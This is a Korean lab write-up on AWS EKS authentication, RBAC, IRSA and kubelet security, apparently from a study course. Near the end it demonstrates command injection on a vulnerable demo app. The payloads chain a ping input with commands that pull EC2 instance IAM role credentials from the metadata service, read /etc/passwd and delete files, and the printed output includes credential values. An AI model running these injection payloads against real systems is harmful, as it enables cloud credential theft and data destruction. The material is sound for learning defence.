kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
토큰 정보를 확인하니 이전에 secret을 만들어서 확인한 토큰 정보와는 조금 다른 점도 확인할 수 있었다. (OIDC 등 정보가 더 보인다)
그리고 k1, k2 alias를 만들고 손쉽게 권한 테스트를 해보자. 아직은 별다른 권한을 주지 않았기에 당연히 실행 권한이 없을 것이다.
# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'
# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system
k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system
# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
no
그러면 이제 각각 네임스페이스에 롤 (Role)을 생성한 다음에 서비스 어카운트를 바인딩해보자.
이렇게 Role 및 RoleBinding을 잘 완료한 다음에 다시 권한 테스트를 해보도록 하자. 개발팀, 인프라팀 각각에 해당하는 네임스페이스에 대해서만 권한을 주는 것으로 role에 설정이 이루어졌기에 kube-system 네임스페이스 및 및 node를 조회하는 권한이 없는 것을 확인해보았다.
# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'
# 권한 테스트
k1 get pods
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes
k2 get pods
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes
그렇다면 이제부터는 EKS에서 인증 및 인가가 어떻게 동작하는지 살펴보도록 하자. 인증은 AWS IAM을 통해, 인가는 K8s RBAC을 통해 동작을 한다.
관련 부분을 쉽게 살펴보기 위해 krew 플러그인을 설치하여 확인해보도록 하자.
# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami
# k8s 인증된 주체 확인
kubectl whoami
arn:aws:iam::9112...:user/admin
# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'
# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters
SUBJECT | SUBJECT TYPE | SCOPE | NAMESPACE | ROLE
+----------------+--------------+-------------+-----------+---------------+
system:masters | Group | ClusterRole | | cluster-admin
kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper
# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'
# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show
# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami
{Username: "arn:aws:iam::911283...:user/admin", <<-- 과거 "kubernetes-admin"에서 변경됨
UID: "aws-iam-authenticator:911283.:AIDA5ILF2FJI...",
Groups: ["system:authenticated"], <<-- 과거 "system:master"는 안보임
Extra: {accessKeyId: ["AKIA5ILF2FJI....."],
arn: ["arn:aws:iam::9112834...:user/admin"],
canonicalArn: ["arn:aws:iam::9112834...:user/admin"],
principalId: ["AIDA5ILF2FJI...."],
sessionName: [""]}}
# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
Policies:
• [CRB] */system:basic-user ⟶ [CR] */system:basic-user
Resource Name Exclude Verbs G L W C U P D DC
selfsubjectaccessreviews.authorization.k8s.io [*] [-] [-] ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖
selfsubjectreviews.authentication.k8s.io [*] [-] [-] ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖
selfsubjectrulesreviews.authorization.k8s.io [*] [-] [-] ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖
• [CRB] */system:discovery ⟶ [CR] */system:discovery
• [CRB] */system:public-info-viewer ⟶ [CR] */system:public-info-viewer
# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and http://localhost:8800
## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨)
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"
EKS 인증 및 인가를 보다 자세히 확인해보도록 하자. 구체적인 과정은 아래 그림을 참고하도록 하자.
# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::<자신의 Account ID>:user/admin"
# kubeconfig 정보 확인
cat ~/.kube/config | yh
...
- name: admin@myeks.ap-northeast-2.eksctl.io
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- eks
- get-token
- --output
- json
- --cluster-name
- myeks
- --region
- ap-northeast-2
command: aws
env:
- name: AWS_STS_REGIONAL_ENDPOINTS
value: regional
interactiveMode: IfAvailable
provideClusterInfo: false
# Get a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help
# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'
쿠버네티스 RBAC 인가 처리를 살펴보도록 하자. 우선 인증 및 인가 다음에 있는 mutating 및 validating webhook을 살펴보고 aws-auth 컨피그맵 및 EKS 설치한 IAM User 정보 등을 살펴본다.
# Webhook api 리소스 확인
kubectl api-resources | grep Webhook
mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration
validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration
# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
NAME WEBHOOKS AGE
eks-aws-auth-configmap-validation-webhook 1 50m
vpc-resource-validating-webhook 2 50m
aws-load-balancer-webhook 3 8m27s
kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh
# aws-auth 컨피그맵 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- groups:
- system:bootstrappers
- system:nodes
rolearn: arn:aws:iam::91128.....:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1OS1WSTV0YB9X
username: system:node:{{EC2PrivateDNSName}}
#---<아래 생략(추정), ARN은 EKS를 설치한 IAM User , 여기 있었을경우 만약 실수로 삭제 시 복구가 가능했을까?---
mapUsers: |
- groups:
- system:masters
userarn: arn:aws:iam::111122223333:user/admin
username: kubernetes-admin
# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami
{Username: "kubernetes-admin",
UID: "aws-iam-authenticator:9112834...:AIDA5ILF2FJIR2.....",
Groups: ["system:masters",
"system:authenticated"],
...
# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin
Name: cluster-admin
Labels: kubernetes.io/bootstrapping=rbac-defaults
Annotations: rbac.authorization.kubernetes.io/autoupdate: true
Role:
Kind: ClusterRole
Name: cluster-admin
Subjects:
Kind Name Namespace
---- ---- ---------
Group system:masters
# cluster-admin 의 PolicyRule 확인 : 모든 리소스 사용 가능!
kubectl describe clusterrole cluster-admin
Name: cluster-admin
Labels: kubernetes.io/bootstrapping=rbac-defaults
Annotations: rbac.authorization.kubernetes.io/autoupdate: true
PolicyRule:
Resources Non-Resource URLs Resource Names Verbs
--------- ----------------- -------------- -----
*.* [] [] [*]
[*] [] [*]
# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged
그리고 데브옵스 신입사원 (testuser)에 대한 설정을 해보도록 하자. 먼저 testuser 사용자를 생성한다.
# testuser 사용자 생성
aws iam create-user --user-name testuser
# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser
{
"AccessKey": {
"UserName": "testuser",
"AccessKeyId": "AKIA5ILF2##",
"Status": "Active",
"SecretAccessKey": "TxhhwsU8##",
"CreateDate": "2023-05-23T07:40:09+00:00"
}
}
# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser
# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/admin"
kubectl whoami
# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table
그리고 bastion 2에서 testuser 자격증명을 aws configure 명령어로 준 다음에 확인해보자. 처음에는 aws configure로 권한을 주지 않아 get-caller-identity 결과가 없는 것이로 kubectl 결과는 .kube/config 파일이 없기 때문에 그렇다.
# get-caller-identity 확인 >> 왜 안될까요?
aws sts get-caller-identity --query Arn
# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2
# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/testuser"
# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있는데, 실패 이유는?
kubectl get node -v6
ls ~/.kube
따라서 testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한을 설정하고
# 방안1 : eksctl 사용 >> iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser
# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
myeks-bastion-2에서 testuser kubeconfig 생성 및 kubectl 사용을 확인해보도록 하자.
# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser
# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh
# kubectl 사용 확인
kubectl ns default
kubectl get node -v6
# rbac-tool 후 확인 >> 기존 계정과 비교해보자 >> system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool && kubectl rbac-tool whoami
권한을 authenticated로 변경한 후 테스트도 해보았다.
# bastian1에서 실습
# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...
# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
실습을 다 한 이후에는 testuser IAM 매핑을 삭제한다.
# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn arn:aws:iam::$ACCOUNT_ID:user/testuser
# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh
3. EKS IRSA & Pod Identity
EKS IRSA 소개에 대해서는 최근 AKSKRUG에서 있었던 커뮤니티 발표 슬라이드 내용을 인용해본다.
# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test1
spec:
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
args: ['s3', 'ls']
restartPolicy: Never
automountServiceAccountToken: false
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod
kubectl describe pod
# 로그 확인
kubectl logs eks-iam-test1
# 파드1 삭제
kubectl delete pod eks-iam-test1
# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test2
spec:
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo
# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls
# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN
# 파드2 삭제
kubectl delete pod eks-iam-test2
eksctl create iamserviceaccount \
--name my-sa \
--namespace default \
--cluster $CLUSTER_NAME \
--approve \
--attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa
kubectl describe sa my-sa
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test3
spec:
serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
volumeMounts:
- mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
name: aws-iam-token
readOnly: true
...
volumes:
- name: aws-iam-token
projected:
sources:
- serviceAccountToken:
audience: sts.amazonaws.com
expirationSeconds: 86400
path: token
...
kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token
kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...
kubectl describe pod eks-iam-test3
...
Environment:
AWS_STS_REGIONAL_ENDPOINTS: regional
AWS_DEFAULT_REGION: ap-northeast-2
AWS_REGION: ap-northeast-2
AWS_ROLE_ARN: arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
AWS_WEB_IDENTITY_TOKEN_FILE: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
Mounts:
/var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
aws-iam-token:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 86400
kube-api-access-sn467:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
...
# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"
# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2
IRSA로 s3에 대해서만 조회하도록 설정하였기에 이 부분만 실행되고 다른 부분은 실행되지 않는 것을 확인할 수 있었다.
# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-sn467",
"readOnly": true
},
{
"mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
"name": "aws-iam-token",
"readOnly": true
}
]
# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
"name": "aws-iam-token",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"audience": "sts.amazonaws.com",
"expirationSeconds": 86400,
"path": "token"
}
}
]
}
}
# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration
validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration
#
kubectl explain mutatingwebhookconfigurations
#
kubectl get MutatingWebhookConfiguration
NAME WEBHOOKS AGE
pod-identity-webhook 1 147m
vpc-resource-mutating-webhook 1 147m
# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh
# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN
# JWT 웹 확인
{
"aud": [
"sts.amazonaws.com"
],
"exp": 1685175662,
"iat": 1685089262,
"iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
"kubernetes.io": {
"namespace": "default",
"pod": {
"name": "eks-iam-test3",
"uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
},
"serviceaccount": {
"name": "my-sa",
"uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
}
},
"nbf": 1685089262,
"sub": "system:serviceaccount:default:my-sa"
}
# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
{
"name": "AWS_STS_REGIONAL_ENDPOINTS",
"value": "regional"
},
{
"name": "AWS_DEFAULT_REGION",
"value": "ap-northeast-2"
},
{
"name": "AWS_REGION",
"value": "ap-northeast-2"
},
{
"name": "AWS_ROLE_ARN",
"value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
},
{
"name": "AWS_WEB_IDENTITY_TOKEN_FILE",
"value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
}
]
# Let’s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.
IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)
# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'
# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token).
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'
# AWS_WEB_IDENTITY_TOKEN_FILE 토큰 값 변수 지정
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN
# ROLE ARN 확인 후 변수 직접 지정
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
ROLE_ARN=<각자 자신의 ROLE ARN>
ROLE_ARN=arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U
# assume-role-with-web-identity STS 임시자격증명 발급 요청
aws sts assume-role-with-web-identity --role-arn $ROLE_ARN --role-session-name mykey --web-identity-token $IAM_TOKEN | jq
{
"Credentials": {
"AccessKeyId": "ASIA5ILF2FJIZLOCB36X",
"SecretAccessKey": "IvuD2BEt/TtScyv6uq3U5mF3RStuxya5gHydlz2Z",
"SessionToken": "IQoJb3JpZ2luX2VjELH//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgFsxs4rNyxuWTgqIuQWONuU8lkb+S1E9rvY4YLMtAR0ACIAfRrLYpisS1Ql+2agL0meQ+iy08bLv992tTCr0vZkqVKvkECOr//////////wEQARoMOTExMjgzNDY0Nzg1IgwmJn8sjNaBM0F+L/gqzQSnX6M6BlgzqiX3Sob0R8QZo0TEumVqCsLopwdHBzIZL6VU3kFaeqIpUh9uuZ+JaR7MlFKS7FYhIq7r+fMh5f8toWojtyKwLjT9eN2yi5A5ZfWahln1MIu9fv/dASR4USMxLtbMHOGpx3BE/pCHhV+u85z/LoHSlVNaF5IrQiCXbo3f9DrJ0kHQZuQY3N0pFDlGzXuv5hCedGlJQU2IzUcmW5kHQ/jNyIf+xEO2nTSksna5iE3r9TNnO6b6v8gZc5zDUs3fGfJfP4QwKjRXOUDMnydJ9LzME+mYoYHObdeCqncGuGwJ3GIXx9qw9ZABXuAlvATuLROaYkeLsXuote1UOqPILxvETvWo1VHA2f0hYL9ZFDSF3j6yGU+GEHbFGoMRVaVFqdbpF1bMEbC9FlmR5AWbAkkYZs8kfXRcObfpZxLB4vQBXeqj9OU/yDPvvNA+CgOoA5HFI0SjeFQHOVB7S5KVm6CAOKtoMIzTeKnKpKmN07dqJzvGrpwtNMh/GhCouunvbgNG7jF/TM3jgAniDxoD9IzCQMICNgxdioOFnB6Oe1AzMkKui53MP8Af/lcDiUKTIUNrKxdm0719kuXqR88coihzrLGkdA7Eb5Gg/gCnk+SzPu7Wu5xZaYXBe6Xqh0/c1dKsN1YQLOANo5aF3B2RCGJFDwr78rOUvNWxXs84us/Uz5k6LIGZseVzZcGh5U9ztJqhzoKFvnphbtU8b1Ctg/pTrF8EnjLGR0s4QggdrsW1b7vznisMwFrHh0F+FhSy7ldvfeXmwpQgMNP666MGOpsBmNam9fm/qK6EjmllDDvf6mR9l99Vop++V2vf1GoM4ru8/TfgP25+B1N9gEbnRuhMTxQrN6VGcyaNNlKBkwxtAs+aikBcvjk3cm0jPZmiQntTkNtBw92NAJwbRmhSIQynznxN7I1FnFukP06J9V9MiuhsJGXpGXi0kWOOQnqb9u2YraRLKJdTqVfv5dGt7aM67PeJrr/0v2YKU0M=",
"Expiration": "2023-06-03T09:44:03+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:default:my-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA5ILF2FJI7UWTLJWKW:mykey",
"Arn": "arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U/mykey"
},
"Provider": "arn:aws:iam::911283464785:oidc-provider/oidc.eks.ap-northeast-2.amazonaws.com/id/8883A42CB049E2FA9B642086E7021450",
"Audience": "sts.amazonaws.com"
}
kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa
이렇게 배포하면 웹 페이지가 나올 것이다. 취약점이 있는 상황을 가정하여 몇 가지 테스트를 해보았다.
커맨드 인젝센 메뉴를 클릭하여 테스트를 해보자. 보안에 심각한 상황이라고 볼 수 있겠다. 심지어 IAM Role 자격증명 탈취도 가능하다.
# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami
# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==
# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe
# EC2 Instance Profile (IAM Role) 자격증명탈취
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe
{
"Code" : "Success",
"LastUpdated" : "2024-04-13T23:36:24Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA3FLD2UNZMV2BDGLE",
"SecretAccessKey" : "rliPdSE9AaYqaIURla+v4nl2yPSq5NXo+5B5txYt",
"Token" : "IQoJb3JpZ2luX2VjEEgaDmFwLW5vcnRoZWFzdC0yIkgwRgIhAPoKj+Kwal23UUDFq09ieb+hL367teLVQbi+/348mJUeAiEA/tZ6jriRI4MHBuIv6/t7TKtXYbSU7jqsuRAYxeKUpEQq1QUIgf//////////ARAAGgw3NjczOTc4OTcwNzQiDMow3zopgYKeFONXYyqpBTGe4CTk2PZvP2o4IKLiRpLXvK9sf9aBz93QSybSI8v9+uyy9in2dOYqkbM0oCa2yCah7mL7LUM+sDe3waj8Mcfrye0KPoVzROhAihLAKFNLTyuAC10IWuxeEyZkQuCU+W+6IuRY0i8jTDRmrKaU7Oj2FzRc92VYpT/kAvfVlE9mKdFanlegvPjOEuZF4sOMWmyCKjvEW2wYIK12Z3q6w+VVOlzIqDFL4OvgIFAVaY6rxVAV+wgWxNBTgiQCAJRl79BN3jee9+Ems3IxPe8n3qqH4MXyxin1ZMeqZwYgxZO8gwWm6f+jdV2NtOET8Np3SgFZA8hznt6W+G9TS6slMV7zu8cMkFfficG6cOI/7dCRByxsdztbia/8JrlxvT1kevAldz8vrZKul5crUCIaw2xOfRC/cWqmBR/3RSMzcID3tvDxBU38XdhS98iWWKRt82xQSQU1IRJ5/jr/pnLQNR7hRI6vWUec3wIFCiLB5wZvOtYIc9BvZLl4feWO7vsg8dheRsYmSB3z7egN42K80AfblaENMvTSO68SidEmfo18HLatL0maBvOMO7n3QtYIxL3Rs8GXz51Cw0ZEfcFFXN08j8aHFHXc79V8GZTKMWmtpvHW/urtCAXbbPI+dCJoo2Won+83Z4rZhWQpTUkBURS/rnZxXnD1A+Nj91ezBLohqQOWyFgHCADpIhNKedXxODQwWvn8/ScBns0mayoPc0ks+w/9diJ7lorkMqTOix7yNfzQK8irOZZ4/wq2J/981HufrRV+NVPXUszFKz9Y9836qBXKuiqimo3rN8jawzUhNtEFT5NX0W1BXG0Zur8jfJcMLjeB0U59J5xfyY496Iw4VvqlYfXQtFjr4GEb7vDH6ZN6F1W4vSiY3EIWH6h1c58QZxW4DK4lSTDGreywBjqwAcfzKV6+4KJeJTxwWqGvjSBf+ie5o37MnSj3sdIg8YG+ZMK5eAENrVDGT5N4w0qq3Y0BeoimcBo8yTyPdH8nRG72dCx43ZHxck82WKEvr2WkUJ4TmR3uK0aCeJYsj00uocryKnD5JDm2Yi/QSVMGPX8q038PcaKEemQxcwiDQS+ExE5V9RiqlGWcVblZ2M4fG9X0T104KfM8jGEWLvJpv+g1iGgCSibMUWo0/CNSl3IR",
"Expiration" : "2024-04-14T05:57:40Z"
}
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*
그리고 Kubelet 미흡한 인증/인가 설정 시 위험한 부분에 대해서도 실습해보았다.
## Bastion 1
# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh
# 노드의 kubelet 사용 포트 확인
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
LISTEN 0 4096 127.0.0.1:10248 0.0.0.0:* users:(("kubelet",pid=2940,fd=20))
LISTEN 0 4096 *:10250 *:* users:(("kubelet",pid=2940,fd=21))
# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: myawscli
spec:
#serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
